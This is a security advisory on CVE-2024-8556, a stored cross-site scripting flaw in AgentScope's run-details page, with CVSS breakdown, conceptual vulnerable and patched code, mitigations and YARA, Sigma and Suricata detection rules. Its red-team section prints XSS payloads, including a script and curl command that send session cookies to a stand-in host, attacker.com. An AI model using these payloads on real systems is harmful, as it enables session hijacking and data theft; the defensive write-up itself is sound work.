CVE-2024-8556

Executive Summary

CVE-2024-8556 is a stored cross-site scripting (XSS) vulnerability in the Modelscope AgentScope project, affecting the latest commit (21161fe) on the main branch. The flaw exists in the view used for inspecting detailed run information, where a user-controllable string (the run ID) is appended and rendered as HTML without proper sanitization. This allows an attacker to inject arbitrary JavaScript code that executes in the context of the victim's browser. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for any deployment.

Supply Chain & Package Security

AgentScope is a Python-based framework available via PyPI. The vulnerability exists in the web UI component of the package. Organizations using AgentScope should treat this as a supply chain risk, as the vulnerable code is part of the core package. No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account to create a run with a malicious ID.
• User Interaction (UI): Required (R) – The victim must view the run details page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but the lack of a patch and the potential for session hijacking or data theft elevate the risk.

Deep Dive & Mechanics

The vulnerability is located in the web interface of AgentScope, specifically in the view that displays detailed run information. When a user creates a new run, they can specify a run ID. This ID is a user-controllable string that is later rendered in the HTML of the run details page without proper encoding or sanitization.

The vulnerable code path likely looks like this:

1. User submits a run with a malicious ID, e.g., <script>alert('XSS')</script>.
2. The backend stores this ID in the database.
3. When another user (or the same user) views the run details page, the server retrieves the ID and inserts it directly into the HTML template.
4. The browser interprets the injected script and executes it.

The attack is stored (persistent) because the malicious payload is saved in the database and executed every time the page is viewed. This makes it particularly dangerous for administrators or other users who frequently inspect runs.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. A patched version would need to properly escape the run ID before rendering it in HTML.

Vulnerable Code (Conceptual):

# In the view function
run_id = request.form.get('run_id')
# ... store run_id in database ...
# When rendering the page:
return render_template('run_detail.html', run_id=run_id)

<!-- In run_detail.html -->
<div class="run-id">Run ID: {{ run_id }}</div>

Patched Code (Conceptual):

# In the view function
from markupsafe import escape
run_id = request.form.get('run_id')
# ... store run_id in database ...
# When rendering the page:
return render_template('run_detail.html', run_id=escape(run_id))

<!-- In run_detail.html -->
<div class="run-id">Run ID: {{ run_id }}</div>

The patched version uses a templating engine's auto-escaping feature (e.g., Jinja2's escape filter) to convert HTML special characters to their entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of AgentScope (latest commit).
• A valid user account with permission to create runs.

Exploit Steps:

1. Craft the Payload: Create a malicious run ID that contains JavaScript. For example:

   <img src=x onerror=alert(document.cookie)>
   

   or a more sophisticated payload to steal session cookies:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Create a Run with the Malicious ID: Use the AgentScope API or web interface to create a new run. Set the run ID to the crafted payload.

3. Trigger the XSS: Send the link to the run details page to a victim (e.g., an administrator). When the victim views the page, the script executes.

Example using curl:

curl -X POST http://target:port/api/runs \
  -H "Content-Type: application/json" \
  -d '{"run_id": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>", "config": {}}'

Blue Team (Defensive)

Detection:

• Monitor for unusual run IDs containing HTML tags or JavaScript code.
• Look for outbound connections to unknown domains from the AgentScope server.
• Check web server logs for requests to the run details page with suspicious query parameters.

Mitigation:

• Implement input validation to reject run IDs containing <, >, ", ', or &.
• Apply output encoding using a templating engine's auto-escaping feature.
• Use a Content Security Policy (CSP) to restrict script execution.
• Consider using a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the AgentScope server.
  • Suspicious Referer headers pointing to the run details page.
• File IOCs:
  • Log entries containing HTML tags or JavaScript in the run_id field.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser when viewing run details.
  • Unauthorized session cookie theft.

Detection Engineering

YARA Rule

rule CVE_2024_8556_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in AgentScope run IDs"
        author = "Valters IT"
        date = "2024-10-27"
        cve = "CVE-2024-8556"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in AgentScope Run ID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via malicious run IDs in AgentScope
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/runs'
        cs-request-body|contains:
            - '<script'
            - '<img'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in run IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8556 Stored XSS in AgentScope Run ID";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/runs"; http_uri;
    content:"run_id"; http_client_body;
    pcre:"/(<script|<img|onerror=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-8556;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the run details view if not critical to operations.
2. Implement input validation to reject run IDs containing HTML special characters.
3. Apply output encoding in the template that renders the run ID.

Long-term Fix:

• The vendor (Modelscope) should release a patch that properly escapes user input in the run details view.
• Until a patch is available, consider forking the repository and applying the fix manually.

Workarounds:

• Use a reverse proxy with WAF capabilities to filter XSS payloads.
• Restrict access to the run details page to trusted users only.
• Monitor logs for suspicious activity related to run creation.

Valters IT